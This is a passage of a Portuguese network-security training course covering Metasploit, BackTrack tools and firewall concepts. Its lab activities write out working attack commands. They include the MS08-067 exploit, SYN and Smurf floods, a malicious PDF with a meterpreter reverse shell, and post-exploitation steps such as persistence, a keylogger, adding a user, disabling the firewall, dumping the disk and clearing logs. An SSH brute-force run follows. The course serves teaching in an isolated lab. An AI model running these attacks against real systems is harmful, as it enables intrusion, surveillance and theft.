O que e o que faz um metasploit?

Neste curso, usaremos a verso web. Na aba Exploits, podemos buscar as vulnerabilidades
que desejamos avaliar. Na imagem abaixo, selecionamos uma vulnerabilidade no componente
Samba, presente no sistema operacional MAC OS X. Note que a verso web descreve a vulneuma vulnerabilidade especfica. O passo seguinte escolher um Target, que corresponde a um
tipo de explorao que ser realizado. No caso abaixo, o nico tipo disponvel o Stack brute
force, que tentar um ataque de fora bruta na pilha do processo vulnervel.

Captulo 2 - Explorando vulnerabilidades em redes

rabilidade e oferece uma srie de referncias para o analista procurar mais informaes sobre

37

Em seguida, iremos escolher o tipo de payload usado, que determinar o que o Metasploit
tentar conseguir na mquina remota. Entre as possibilidades, podemos obter um acesso
ao console na mquina atravs de uma porta especfica ou conectar de volta na mquina do

Segurana de Redes e Sistemas

atacante, ofertando um acesso remoto.

38

Por fim, escolhemos os parmetros especficos para esse tipo de vulnerabilidade. No caso, o
endereo IP do destino, a porta de destino e a porta local. Temos ainda alguns parmetros
avanados, onde podemos escolher o endereo local do cliente, configuraes de Proxy,
parmetros especficos do Samba, entre outros.

Ao clicar no boto Launch exploit, estaremos fazendo o Metasploit tentar explorar a vulnerabilidade em questo, e em caso de sucesso, obter acesso remoto privilegiado.
Veja que o Metasploit efetivamente realiza um ataque ao servidor remoto, de modo que no
deve ser usado em servidores que no estejam sob a administrao ou controle do usurio
da ferramenta.
Usando Metasploit em modo console
O mfsconsole o Metasploit em modo console e uma forma mais flexvel de se utilizar o
framework. Para iniciar o Metasploit, digite no shell:

# msfconsole

msf >
Inicialmente, dentro do console do Metasploit, podemos verificar quais exploits temos
disposio com o comando:

msf >show exploits


Neste ponto, devemos informar o tipo de exploit que usaremos com o comando use:

msf > use windows/smb/ms08_067_netapi


msf wins_ms08_067_netapi >
Dentro do exploit, podemos ver seus atributos exigidos com o comando show options:

msf wins_ms08_067_netapi > show options

Captulo 2 - Explorando vulnerabilidades em redes

Sero apresentados os cursos abaixo:

39

Name

Current Setting Required Description

-------- --------------- -------- ----------RHOST

yes

The target address

RPORT

445

yes

Set the SMB service port

SMBPIPE

BROWSER

yes

The pipe name to use (BROWSER)

Explot Target:
Neste caso, o exploit aceita as opes de Remote Host, Remote port e SMBPIPE. Para configurar essas opes, utilize o comando set:

msf wins_ms08_067_netapi > set RHOST 200.126.35.34


RHOST -> 200.130.26.34
msf wins_ms08_067_netapi > set RPORT 445
RPORT -> 445
O prximo passo configurar o payload, que nada mais do que uma parte do software que
permite o controle do sistema-alvo aps ser explorado. Nesse caso o exploit transporta o
payload para ser utilizado quando a falha do sistema explorada.
Um dos payloads mais utilizados o meterpreter. Com ele podemos ativar coisas interessantes no computador remoto, como, por exemplo, fazer upload e download de arquivos,
tirar screenshots e recolher hashes de senhas. Pode-se at mesmo controlar a tela, usando
mouse e teclado para usar completamente o computador.
Com o comando show payloads verificamos os payloads suportados pelo exploit selecionado:

msf wins_ms08_067_netapi > show payloads


O payload selecionado para este exemplo vnc inject reverse tcp:

msf wins_ms08_067_netapi > set PAYLOAD windows/vncinject/reverse_


tcp
payload -> windows/vncinject/reverse_tcp
msf wins_ms08_067_netapi >
Com o comando show targets podemos visualizar quais sistemas operacionais so vulnerveis a esse exploit:

Segurana de Redes e Sistemas

msf wins_ms08_067_netapi > show targets

40

Supported Exploit Targets


=========================
Windows XP SP3 Portuguese - Brasilian (NX)
msf wins_ms04_045 >
Neste caso podemos verificar que os sistemas operacionais Windows XP SP2 e SP3 de
diversos idiomas so vulnerveis a esse exploit:

msf wins_ms08_067_netapi > set TARGET 56


TARGET -> 56
msf wins_ms08_067_netapi >
Pronto para finalizar:

msf wins_ms08_067_netapi > exploit


Neste momento o exploit entrar em execuo no IP alvo informado anteriormente. Se a vulnerabilidade estiver aberta, ser apresentada uma resposta informando que a operao obteve
sucesso. Esse ataque pode ser automatizado dentro do metasploit com o comando msfcli.
No caso do ataque informado acima, poderamos automatiz-lo com a seguinte linha de comando:

[root]#./msfcli wins_ms08_067_netapi RHOST=200.130.26.34 RPORT=445


PAYLOAD=windows/vncinject/reverse_tcp TARGET=56 E

Backtrack
O Backtrack um sistema operacional Linux voltado para a rea de segurana, principalmente para testes de penetrao. uma distribuio muito difundida pelos profissionais de
segurana, no necessita de instalao fsica na mquina e pode rodar diretamente do CD.
Contando com mais de 300 ferramentas diferentes, entre elas o prprio Metasploit, considerada a ferramenta mais completa do mercado para testes de segurana e penetrao
baseada em software livre.
As ferramentas hackers do Backtrack podem ser acessadas pelo menu Applications >
Backtrack. So divididas em 10 categorias diferentes, como veremos a seguir.
Information Gathering
Ferramentas para obter informaes sobre redes, aplicaes web, anlise de banco de
dados e anlise de redes wireless. Exemplos:
11 Dnsdict6 utilitrio usado para enumerar um domnio para entradas DNS IPv6.
11 Dnsmap utilitrio usado para criar listas de hosts de registros DNS para um domnio.
Vulnerability Assessment

dados, tais como scanners. Exemplos:


11 OpenVAS estrutura de vrios servios e ferramentas que oferecem uma abrangente e
poderosa soluo de varredura de vulnerabilidades.
11 Mantra coleo de ferramentas de cdigo livre integrado a um navegador web.
Exploitation Tools
Ferramentas para explorao de vulnerabilidades em redes, sistemas web, banco de dados,
sistemas wireless e ferramentas de engenharia social. Exemplos:
11 Metasploit Framework framework utilizado para explorar vulnerabilidades em sistemas
computacionais.
11 Air Crack ferramenta utilizada para descobrir chaves WEP e WPA em sistemas Wireless.

Captulo 2 - Explorando vulnerabilidades em redes

Ferramentas para avaliao de vulnerabilidades em redes, aplicaes web e bancos de

41

Privilege Escalation
Ferramentas para elevao de privilgios, como: ferramentas de ataque para quebra de
senhas, ferramentas para anlise de protocolos (em especial protocolos de rede e VoIP)
e ferramentas de Spoofing Attacks. Exemplos:
11 hexinject capaz de capturar pacotes em uma rede para obteno de informaes
e injeo de pacotes modificados.
11 Medusa e Hydra ferramentas para ataques de fora bruta em logins.
11 Hashcat e John the riper programa para recuperao de senhas.
Maintaining Acces
Uma vez dentro de uma rede, um atacante necessita manter seu acesso sempre disponvel
para garantir o seu retorno de forma segura (sem ser detectado). Esse conjunto de programas possibilita, por exemplo, a criao de backdoors, ferramentas de tunelamento de
conexes e ferramentas de backdoor via web. Exemplos:
11 cymothoa ferramenta capaz de injetar shellcode backdoor em um processo existente.
11 Stunnel4 tnel criptogrfico SSL para interligao cliente/servidor.
11 Weevely script em python para gerar uma backdoor PHP criptografada.
Reverse Engineering
Ferramentas de engenharia reversa com destaque para o programa strace, que monitora
chamadas de sistema (system calls) e os sinais recebidos pela aplicao. Exemplos:
11 ollydbg depurador de anlise assembler com nfase em cdigo binrio.
11 Strace utilitrio de depurao para Linux que pode imprimir uma lista de chamadas de
sistemas feitas pelo programa.
RFID Tools
Ferramentas RFID para obteno de informaes em equipamentos identificadores de Radio
Frequncia (Radio-Frequency Identification). Exemplos:
11 Brute Force hitag2 programa de fora bruta capaz de capturar dados em etiquetas RFID
padro HITAG.
11 Brute Force MIFARE programa de fora bruta capaz de capturar dados em dispositivos
de acesso por proximidade e cartes inteligentes.
Stress Testing
Programas especialistas em testes de estresse em redes de computadores e sistemas VOIP.
Essas ferramentas so capazes de criar verdadeiras inundaes de pacotes em uma rede.
Segurana de Redes e Sistemas

Exemplos:

42

11 Hping programa para a criao de pacotes TCP/IP, pode ser utilizado com ICMP, TCP e
UDP e amplamente utilizado para ataques do tipo negao de servio.
11 Letdown outra ferramenta muito eficiente para ataques DoS.rtpflood programa para
inundar telefones ips com pacotes UDP contendo dados RTP.
11 IAXflood ferramenta para criar inundao de pacotes utilizada em redes com protocolo
IAX, que usado pelo PABX asterisk.

Forensics
Ferramentas de percia forense, tais como programas para detectar rootkits, obter informaes
sobre dados armazenados desde uma rede at a memria RAM do computador. Exemplos:
11 Sleuthkit capaz de analisar e recuperar informaes em diversos tipos de parties.
11 Chkrootkit utilitrio capaz de varrer um computador atrs de programas rootkits instalados.
11 DFF (Digital Foresics Framework) pacote de ferramentas open source modular que inclui
utilitrios para recuperao de dados, pesquisa de provas e anlises.
Reporting Tools
Ferramentas geradoras de relatrios sobre evidncias e captura de dados feita por programas de percia forense. Exemplos:
11 Recordmydesktop programa para capturar e filmar o desktop do usurio.
11 Dradis utilitrio de ajuda no processo de testes de penetrao. Utiliza uma metodologia
de compartilhamento de informaes minimizando oportunidades de perda de infor-

Captulo 2 - Explorando vulnerabilidades em redes

mao e sobreposio de esforos.

43

44

Segurana de Redes e Sistemas

Roteiro de Atividades 2
Atividade 1 Realizando ataques de protocolos
Nesta primeira atividade prtica, o objetivo identificar e compreender ataques DOS e fazer
a anlise com um sniffer (Wireshark e/ou tcpdump) para interpretar o modo como os pacotes
so elaborados para o respectivo ataque DOS.
1 Ataque: Synflood
Como j tratado na parte terica deste curso, esse ataque consiste em enviar uma enxurrada
de pacotes com a flag SYN ativa, utilizando a ferramenta hping3. Para isso, necessrio que
voc desative a proteo contra SYN Flooding do kernel de todas as mquinas virtuais Linux.
Para desabilitar a proteo, use o seguinte comando (executar como root):

echo 0 > /proc/sys/net/ipv4/tcp_syncookies


Agora inicie a captura de pacotes na mquina FWGW1-G, que ser nossa mquina-alvo.
No exemplo abaixo estamos utilizando o tcpdump para essa atividade. Nossa mquina atacante ser a mquina virtual LinServer-G.

Instale o tcpdump na mquina alvo:


# apt-get install tcpdump
Aps a instalao execute:
# tcpdump -i eth1 -n
Instale na mquina atacante o programa hping3
# apt-get install hping3
Por fim, execute a partir da estao Linux atacante o seguinte comando para iniciar o ataque
(executar como root):

hping3 172.16.G.1 -p 22 -S --flood --rand-source

O comando acima envia pacotes TCP com a flag SYN ativada (-S), para a porta do
servio SSH (-p 22), na maior velocidade possvel e alterando o endereo de origem
aleatoriamente (--rand-source).

Observe que na captura do tcpdump esto chegando pedidos de conexo de diferentes


origens (todas invlidas).
2 Ataque: Smurf
Como j tratado na parte terica deste curso, esse ataque consiste no envio de pacotes
ICMP Echo Request para o endereo de broadcast de uma rede desprotegida. Assim, todas
as mquinas respondero para o endereo de origem especificado no pacote que deve
estar alterado para o endereo alvo (Spoofing). Para que o ataque seja efetivo, a proteo

Captulo 2 - Roteiro de Atividades

Para finalizar a execuo do hping3 e do tcpdump, basta digitar CTRL+C.

45

contra ICMP Echo Request para endereo de broadcast deve estar desabilitada em todas as
mquinas Linux. Para desabilitar a proteo, use o seguinte comando (executar como root):

echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts


Agora inicie a captura de pacotes no FWGW1-G. Nossa mquina-alvo ser o servidor
WinServer-G e o atacante continuar sendo o LinServer-G

# tcpdump -i eth1 -n
Por fim, execute a partir da estao Linux atacante o seguinte comando para iniciar o
ataque: (EXECUTAR COMO ROOT). Troque o <END_BROADCAST_REDE> pelo endereo de
broadcast da rede, no nosso caso 172.16.G.255

Hping3 172.16.G.255 --icmp --flood -a 172.16.G.20


O comando acima vai enviar pacotes ICMP Echo Request para o endereo de broadcast da
rede do laboratrio, no modo mais rpido possvel, com endereo de origem alterado para
IP_ALVO (Spoofing). Os alunos devem verificar no tcpdump os pacotes de ICMP Echo Reply
enviados para o alvo do ataque. O tamanho do pacote ICMP Echo Request enviado ainda
pode ser aumentado para dar maior fora ao ataque. Assim, a banda do alvo ser rapidamente consumida pelos pacotes de ICMP Echo Reply.

hping <END_BROADCAST_REDE> --icmp --faster -a <IP_ALVO> -d 1000

Atividade 2 Levantando os servios da mquina alvo com Nmap


O objetivo desta atividade entender o funcionamento do Nmap. Para executar esta atividade instale na mquina Windows 2008 o Wireshark e desative o firewall do Windows.
A partir de uma mquina Linux, realize o port scan padro na mquina Windows 2008.

# nmap -v 172.16.G.20
Agora vamos explorar outros modos de funcionamento do Nmap. Teste os modos stealth e
acompanhe o andamento da varredura de portas atravs do Wireshark. Procure entender o
que est acontecendo e a diferena entre os dois comandos executados, para comprovar os
conceitos do material terico.

# nmap -sF 172.16.G.20


# nmap -sN 172.16.G.20
# nmap -sX 172.16.G.20
Outra funcionalidade do Nmap o OS Fingerprinting. Realize essa verificao na mquina

Segurana de Redes e Sistemas

virtual Windows 2008 e em uma mquina virtual Linux. Combine essa opo com outras ofe-

46

recidas pela ferramenta. Use o Wireshark para verificar a troca de pacotes neste processo.

# nmap -O 172.16.G.20
# nmap -A 172.16.G.20
Agora vamos realizar um ataque utilizando o Nmap em modo decoy contra a mquina virtual
Windows 2008. Capture os pacotes usando o Wireshark e analise-os. Procure identificar a
origem do ataque.

# nmap v sV O D 101.102.103.104 172.16.G.20

Atividade 3 Realizando um ataque com Metasploit


Nessa atividade iremos executar uma srie de comandos utilizando o metasploit disponvel
na mquina virtual BackTrack. Inicie essa mquina virtual e, paralelamente, acesse a interface grfica do servidor Windows 2008. Nesse servidor, desative o firewall e instale o Adobe
Reader verso 9.3.4. Embora essa seja uma verso antiga do Adobe Reader, o objetivo
desta atividade demonstrar duas coisas: primeiro, o poder da ferramenta Metasploit, e,
segundo, que no devemos instalar em servidores programas desnecessrios, como visualizadores de PDF.
Esse ataque consiste em dois passos:
1 passo: gerar um arquivo PDF para explorar a falha de segurana do Adobe Reader.
Acesse o shell do BackTrack e digite:

#msfconsole
msf >

use exploit/windows/fileformat/adobe_cooltype_sing

msf exploid(adobe_cooltype_sing)> set PAYLOAD windows/meterpreter/


reverse_tcp
Podemos alterar o nome do arquivo a ser gerado para um nome mais amigvel.

msf exploid(adobe_cooltype_sing)> set FILENAME naoclick.pdf


msf exploid(adobe_cooltype_sing)> set LHOST 172.16.G.30
msf exploid(adobe_cooltype_sing)> set LPORT 4444
msf exploid(adobe_cooltype_sing)> show options
msf exploid(adobe_cooltype_sing)> exploit
msf exploid(adobe_cooltype_sing)> quit

Ser gerado um arquivo em /root/.msf4/local/naoclick.pdf. Abra outra janela do shell e copie o


arquivo gerado para /var/www:

# mv /root/.msf4/local/naoclick.pdf /var/www
* renomeie o arquivo /var/www/index.html para index.txt
* Inicie o servidor apache

2 passo: escutar na porta informada no passo anterior para estabelecer uma conexo com
a mquina-alvo. Para isso, abra outra janela de shell e digite:

# msfconsole
msf > search cool
msf > use exploit/multi/handler
msf exploid(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploid(handler) > show options

Captulo 2 - Roteiro de Atividades

# /etc/init.d/apache2 start

47

msf exploid(handler) > set LHOST 172.16.G.30


msf exploid(handler) > set LPORT 4444
msf exploid(handler) > exploit
[*] Started reverse handler on 172.16.G.30
[*] Starting the payload handler...
Neste momento, o Backtrack est esperando uma conexo na porta informada, neste caso
a porta 4444. A mquina-alvo dever abrir o navegador e informar no campo endereo o IP
do Backtrack. Sero listados os arquivos da pasta /var/www. Clique com o boto direito no
arquivo naoclick.pdf e salve na rea de trabalho. Aps esse procedimento, clique duas vezes
no arquivo (poder aparecer uma tela de aceite dos termos da Adobe, clique em accept).
Enquanto o arquivo carregado, verificamos na mquina atacante que uma sesso foi estabelecida. A partir desse momento j estamos com acesso mquina-alvo.
Para manter a conexo aberta, mesmo que o alvo seja reiniciado, digite:

meterpreter > run persistence -X


Ser instalado um script dentro da mquina-alvo e bastar apenas que o usurio faa login
novamente para estabelecer a conexo, no precisando mais que o alvo abra o arquivo PDF.

Comando meterpreter
Procure entender o que cada linha de comando abaixo realiza, e tenha pacincia. Lembre-se
de que voc est explorando vulnerabilidades, e de que comum que alguns alunos no
consigam completar essa atividade.
Promovendo
privilgios

meterpreter > getuid


meterpreter > use priv
meterpreter > getsystem
meterpreter > getuid

Levantando
informaes

meterpreter > sysinfo


meterpreter > run get_env
meterpreter > run get_application_list

Desativando
firewall

meterpreter > shell


C:\Windows\System32> netsh firewall set opmode disable
C:\Windows\System32> exit

Segurana de Redes e Sistemas

Capturando tela

48

meterpreter > getpid


meterpreter > ps
meterpreter > use -l
meterpreter > use espia
meterpreter > screenshot
meterpreter > screengrab

Ativando
keylogger

meterpreter > keyscan_start


meterpreter > keyscan_dump
meterpreter > keyscan_stop

Enumerando
informaes

meterpreter > run winenum


meterpreter > run scraper (copiar entradas do registro)
meterpreter > run prefetchtool

Injetando informaes
nos arquivos de hosts
do Windows

meterpreter > edit c:\\Windows\\System32\\drivers\\etc\\hosts

Realizando varredura
na rede do alvo

meterpreter > run arp_scanner -i

Criando usurio

meterpreter > shell

meterpreter > run arp_scanner -r <REDE_ALVO>

C:\Windows\System32> net user marcos changeme /add


C:\Windows\System32> net user
C:\Windows\System32> exit
Baixando o HD
da mquina alvo

meterpreter > download -r c:\\

Enviando arquivo
para o alvo

meterpreter > upload /root/tcpdump.exe c:\\windows\\System32


meterpreter > shell
meterpreter > tcpdump -w saida.pcap
meterpreter > ps
meterpreter > kill NUMERO_PROCESSO
meterpreter > download c:\\saida.pcap
meterpreter > clearev

Atividade 4 Realizando um ataque de dicionrio com o Medusa


Vamos implementar um ataque de fora bruta ao servio SSH utilizando o Medusa. Para
tal, escolha uma mquina virtual Linux para ser o alvo. Na mquina-alvo (FWGW1-G), crie
um usurio chamado marcelo com a senha 123456 e outro chamado marco com a senha
abacate. Tambm na mquina alvo monitore o arquivo de logo com o comando:

# tail -f /var/log/auth.log
Na mquina virtual Backtrack execute o comando abaixo para identificar os mdulos instalados no Medusa:

# medusa d
Agora vamos levantar o Banner (informao sobre a verso do SSH) implementado na
mquina-alvo. A partir do Backtrack, execute:

# nc 172.16.G.1 22
A resposta deve ser algo como:

SSH-2.0-OpenSSH_5.1p1 Debian-5

Captulo 2 - Roteiro de Atividades

Apagando rastro

49

Crie um arquivo de texto chamado usurios.txt contendo, em cada linha, o nome dos usurios que voc acredita que existam no alvo. Para esta atividade insira, em cada linha, os
nomes: root, marcelo e marco.
Crie um arquivo texto chamado senhas.txt. Neste arquivo sero inseridas, em cada linha,
as senhas que sero utilizadas no nosso ataque de dicionrio. Para esta atividade no se
esquea de inserir os textos 123456 e abacate.
Agora vamos realizar o ataque de fora bruta SSH contra o alvo. Execute o seguinte comando:

# medusa M ssh m BANNER:SSH-2.0-OpenSSH_5.1p1 -h 172.16.G.1 U


usuarios.txt P senhas.txt | grep SUCCESS
Acesse o console da mquina-alvo e observe as tentativas de acesso utilizando o Medusa.

Segurana de Redes e Sistemas

No se esquea de trocar o BANNER pela verso instalada na mquina-alvo.

50

3
Apresentar tcnicas e tecnologias para proteo de permetro em redes, compreender
as tcnicas de proteo de permetro, posicionar firewalls em uma rede e criar uma zona
desmilitarizada (DMZ) para prover servios pblicos.

conceitos

Topologias e tecnologias de firewall, proteo de permetro em redes e zona


desmilitarizada (DMZ), entre outros.

Introduo
Um firewall pode ser definido como uma combinao de componentes (hardware, software
e redes) com o objetivo de proteger informaes entre uma rede privada e a internet ou
outras redes. importante frisar que um firewall no corresponde a uma caixa preta, que
ligada a uma rede prov segurana instantnea. Para ter um firewall eficiente, preciso que
ele seja configurado corretamente, possua bons recursos implementados e esteja corretamente posicionado na rede em questo. Durante este captulo e o prximo, esses conceitos
sero aprofundados.
Em linhas gerais, um firewall possui os seguintes objetivos:

11 Restringir a entrada de trfego em um ponto nico e controlado.


11 Impedir que atacantes consigam chegar em suas defesas mais internas.
11 Restringir a sada de trfego em um ponto nico e controlado.
No item seguinte, veremos algumas vulnerabilidades comuns encontradas em redes. Essas
vulnerabilidades podem ou no ser mitigadas por um firewall, dependendo dos seus recursos.

Exerccio de nivelamento 1 e
Firewall
O que voc entende por firewall?

Como um firewall pode ser eficiente?

Captulo 3 - Explorando vulnerabilidades em redes

objetivos

Firewall Conceitos e Implementao

51

Firewall
Um firewall consiste em uma tcnica de segurana de redes bastante efetiva. O seu nome
vem das portas corta-fogo (firewalls) utilizadas em edifcios para conter o fogo de um possvel incndio, de modo que ele no se espalhe para o resto do prdio. Pode ser definido
como um componente ou conjunto de componentes que restringem acesso entre uma rede
protegida e a internet, ou entre outros conjuntos de redes.
Na prtica, podemos pensar num firewall como uma forma de limitar a exposio da sua
rede internet, mantendo suas funcionalidades para os usurios.
O firewall serve a mltiplos propsitos:

11 Restringir a entrada de trfego em um ponto nico e controlado.


11 Impedir que os atacantes consigam chegar em suas defesas mais internas.
11 Restringir a sada de trfego em um ponto nico e controlado.
Quando falamos de estratgias de segurana, a respeito de ponto nico e defesa em profundidade, no podemos considerar um firewall simplesmente como uma caixa preta ou um
produto de prateleira, apesar do que pregam os vendedores de produtos de segurana.
Um firewall deve ser visto como uma combinao de componentes (hardware, software
e redes) com o objetivo de proteger informaes entre uma rede privada e a internet ou
outras redes. Sendo assim, no adianta comprar um produto em uma loja e lig-lo na rede.
Um firewall, para ser efetivo, necessita de planejamento e que seja definida uma topologia,
onde ele esteja no meio das conexes que se deseja proteger. Alm da topologia, um firewall
consiste em uma srie de tecnologias, como filtros de pacotes, NAT e servidores proxy.
A seguir vamos discutir em detalhes essas topologias e tecnologias.

Tecnologias de firewall
11 Filtros de pacotes.

11 Filtros de pacote dinmicos.


11 Servidores proxy.
11 NAT.

Filtros de pacotes
A funcionalidade mais bsica que um firewall pode oferecer chamada de filtro de pacotes,
mecanismo de segurana de rede que permite o controle dos dados que entram, saem ou
passam pelo ponto de proteo. Um filtro de pacote capaz de decidir sobre a passagem ou
no de um pacote, de acordo com as informaes encontradas no cabealho IP. Usualmente,

Segurana de Redes e Sistemas

os filtros de pacotes agem sobre os seguintes campos de um pacote IP:


11 Endereo IP de origem (nvel de rede).
11 Endereo IP de destino (nvel de rede).
11 Porta de origem (nvel de transporte).
11 Porta de destino (nvel de transporte).
11 Flags do cabealho TCP (SYN e ACK).
Alguns filtros de pacotes mais avanados podem agir sobre outros campos do pacote,
como endereos fsicos (MAC Address), outras flags (ex.: RST), campos de fragmentao de
pacotes, entre outros. Na verdade, um filtro de pacotes pode usar qualquer campo de qual52

quer um dos cabealhos do pacote. Usualmente, um filtro de pacotes no realiza decises


com base no contedo (dados) dos pacotes, uma vez que analisar o contedo do pacote
pode ser dispendioso e tornar o processo de roteamento mais lento. Apesar disso, existem
ferramentas que usam esse recurso, como o l7filter. A sintaxe de comandos de um filtro de
pacotes depende da ferramenta utilizada; porm, em linhas gerais, a forma de definir as
regras muito semelhante. No captulo seguinte sero vistos alguns exemplos do uso de
ferramentas de filtros de pacotes.
Como exemplo, vamos imaginar que estamos querendo definir uma regra de filtragem que
ir bloquear todos os pacotes provenientes da estao A (endereo IP 192.168.1.1) para o
servidor B (endereo IP 192.168.1.2), na porta 110, utilizando o protocolo de transporte TCP.
Relembrando os conceitos de TCP/IP, quando iniciamos uma conexo TCP, o remetente
escolhe uma porta de origem que no esteja em uso, a partir da porta 1024. Sendo assim,
podemos definir a seguinte regra:
Descartar se IP_ORIGEM=192.168.1.1, IP_DESTINO=192.168.1.2, PORTA_ORIGEM >= 1024 e
PORTA_DESTINO = 143.
No caso, estamos usando uma sintaxe fictcia. Todos os pacotes que se enquadrem na regra
acima sero automaticamente descartados. Os filtros de pacotes normalmente definem ainda
uma ao padro, caso no haja nenhuma regra indicando o que fazer com o pacote. Essa
ao padro se refere estratgia de segurana denominada Atitude de Bloqueio Padro e
Permisso Padro. Caso seja escolhida a atitude de bloqueio padro, todos os pacotes que
no estiverem explicitamente permitidos por alguma regra sero bloqueados e vice-versa.
Lembre-se de que a atitude de bloqueio padro mais segura do que a de permisso padro.

Filtros de pacote dinmicos


Considerando o exemplo anterior, imagine que agora necessitamos liberar o trfego com
destino porta 143 TCP do servidor. Nesse caso, no basta apenas trocar a palavra DESCARTAR
por ACEITAR. Em uma conexo TCP, temos uma srie de pacotes, indo e voltando do servidor.
Sendo ainda mais minimalista (lembre-se da estratgia de menor privilgio), temos de verificar
se o pacote se refere ao incio de uma conexo, a uma resposta do servidor ou a uma conexo
j estabelecida. Dessa forma, podemos mudar nosso exemplo, que vai conter as seguintes
regras para permitir todos os trs pacotes referentes ao three way handshake do protocolo TCP:
11 Aceitar se IP_ORIGEM=192.168.1.1, IP_DESTINO=192.168.1.2, PORTA_ORIGEM >= 1024,
11 Aceitar se IP_ORIGEM=192.168.1.2, IP_DESTINO=192.168.1.1, PORTA_ORIGEM = 143,
PORTA_DESTINO >= 1024 e flags SYN e ACK ligadas (retorno do servidor).
11 Aceitar se IP_ORIGEM=192.168.1.1, IP_DESTINO=192.168.1.2, PORTA_ORIGEM >= 1024,
PORTA_DESTINO = 143 e flag ACK ligada.
A partir desse exemplo podemos perceber que em um ambiente mais complexo a quantidade de regras aumentar bastante, tornando o ambiente complicado para gerenciar. Do
ponto de vista do administrador de segurana, na grande maioria dos casos, ele apenas
quer decidir se vai permitir ou bloquear uma determinada conexo. Pensando nisso, foram
criados os filtros de pacotes dinmicos, tambm chamados de stateful inspection, stateful
firewall ou Stateful Packet Inspection (SPI). Nesse caso, o prprio filtro de pacotes mantm
informaes sobre o estado das conexes e permite automaticamente todos os pacotes
relacionados, de modo que o administrador necessita apenas especificar a regra do primeiro pacote e indicar que os pacotes relacionados sero automaticamente aceitos.

Captulo 3 - Firewall Conceitos e Implementao

PORTA_DESTINO = 143 e flag SYN ligada (incio da conexo).

53

Alguns filtros de pacotes dinmicos tratam ainda de protocolos de aplicao, cuja conexo
mais complexa, como, por exemplo, FTP e H.323, cuja liberao utilizando os filtros de

FTP

pacotes comuns se tornaria complicada e provavelmente iria aceitar muito mais pacotes do

File Transfer Protocol


um protocolo de transferncia de arquivos
na internet.

que o necessrio, por conta do comportamento dinmico desses protocolos.


Recentemente, alguns fabricantes tm anunciado firewalls UTM (Unified Threat Manager),
que so firewalls com diversos recursos integrados, tambm chamados de firewalls all-in-one
(tudo em um). Esses produtos normalmente integram uma srie de recursos, como antivrus,
anti-spam, VPN, filtros de contedo e balanceamento de carga, entre outros.

Servidores proxy
Servidores proxy so servidores que acessam algum servio da internet em nome de uma
estao cliente, que solicita o acesso ao proxy. Um proxy pode atuar no nvel de aplicao

H.323

proxy H.323 etc.) ou no nvel de transporte, onde h um proxy genrico para conexes TCP

Protocolo de transmisso de udio e vdeo


na internet.

e UDP (ex.: Socks).

Socks

(mais comum), onde para cada aplicao h um proxy diferente (ex.: proxy HTTP, proxy FTP,

Os proxies de aplicao possuem a vantagem de entender o protocolo de aplicao, de


modo que eles so capazes de prover registros detalhados sobre os acessos realizados,
alm de permitir o controle de acesso atravs de parmetros de aplicao, como bloquear
o acesso a arquivos executveis em conexes HTTP, controle impossvel de ser realizado
apenas com filtros de pacotes. Por outro lado, a aplicao em questo deve estar ciente
da existncia do Proxy para realizar o acesso normalmente atravs de um parmetro de

Protocolo da internet
que permite que aplicaes cliente-servidor
usem transparentemente o servio de
uma rede ao firewall.
O termo Socks vem da
abreviao de sockets.

configurao, o que pode aumentar a complexidade da configurao. Outra questo a ser


considerada que o servidor deve ser dimensionado adequadamente para comportar as
requisies dos clientes, de modo a no causar atrasos nas conexes.
O diagrama abaixo mostra uma tpica conexo utilizando um proxy de aplicao.

Cliente A
Cliente solicita ao
Proxy acesso a
recurso do servidor B

Proxy HTTP

Proxy solicita e
obtm recurso
do servidor B

Servidor B
Proxy entrega
recurso ao cliente A
Figura 3.1
Conexo com proxy
de aplicao.

Uma vez configurado corretamente, o usurio no percebe mais a existncia do Proxy de


aplicao, de modo que tem a impresso de que as requisies so feitas diretamente ao
servidor. O Proxy, por outro lado, possui conhecimento detalhado sobre os recursos que

Segurana de Redes e Sistemas

esto sendo solicitados pelo cliente.

54

NAT
Network Address Translation (NAT) um recurso que permite a modificao de um ende-

RFC

reo de rede em um pacote IP durante o seu trnsito em um dispositivo de roteamento.

Request For Comments


um documento que
descreve os padres
de cada protocolo proposto para a internet,
antes de ser considerado um padro.

O NAT pode ser utilizado em uma variedade de situaes, sendo as mais comuns a publicao de um servidor na internet e o acesso de uma rede privativa internet.
Existem tipos diferentes de NAT, com utilidades diferentes. Inicialmente veremos os tipos de NAT
existentes e a seguir conheceremos as suas aplicaes. O NAT definido em uma srie de RFCs:

11 RFC 1631: The IP Network Address Translator (NAT).RFC 2663: IP Network Address Translator (NAT) Terminology and Considerations.
11 RFC 2766: Network Address Translation Protocol Translation (NAT-PT).
As terminologias variam de acordo com o fabricante que implementa a tecnologia, porm os
princpios so os mesmos.
11 SNAT Source NAT modifica o endereo IP de origem de um pacote, utilizado normalmente
para permitir que estaes em redes privativas possam acessar a internet diretamente,
atravs da modificao do endereo privativo para um endereo vlido na internet.
11 DNAT Destination NAT modifica o endereo IP de destino de um pacote, utilizado
normalmente para permitir que servidores em redes privativas possam ser acessados
atravs da internet.
11 NAT esttico utiliza um endereo IP diferente para cada endereo que necessita ser
traduzido. Tambm chamado de NAT um-para-um (1-1).
11 NAT dinmico traduz diversos endereos IP para um nico endereo traduzido.
Tambm chamado de NAT N-para-1 (N-1). Esse tipo de NAT permite que uma rede inteira
acesse a internet utilizando um nico endereo vlido e muitas vezes chamado de
masquerading. Ele usado por empresas que possuem poucos endereos IP. Durante as
atividades prticas do Captulo 3, sero vistos em mais detalhes os diferentes tipos de
NAT e sua implementao.

Exerccio de fixao 1 e
Filtros de pacotes
Explique o que so filtros de pacotes dinmicos.

Exerccio de fixao 2 e
Servidores proxy

Topologias de firewall
No existe uma frmula para se planejar um firewall, pois isso vai depender das parti-

cularidades de cada rede e da experincia do profissional encarregado. Porm, existem


algumas arquiteturas que podem servir de base para a construo de uma soluo
completa. Nos itens a seguir veremos algumas dessas arquiteturas bsicas.

Dual-Homed
Essa a topologia mais simples, que consiste em apenas uma mquina conectada tanto
rede pblica quanto rede protegida, porm com a funo de roteamento desabilitada. Dessa forma, para a rede protegida acessar a rede pblica, ela necessitar utilizar
algum recurso presente na mquina em questo, como um Proxy ou NAT. A figura 3.2
mostra uma topologia dual-homed.

Captulo 3 - Firewall Conceitos e Implementao

O que so servidores proxy?

55

Screened Host
Nessa arquitetura, a rede interna est conectada internet (rede pblica) atravs de

um roteador com o recurso de filtros de pacotes. Esse chamado de screening router.


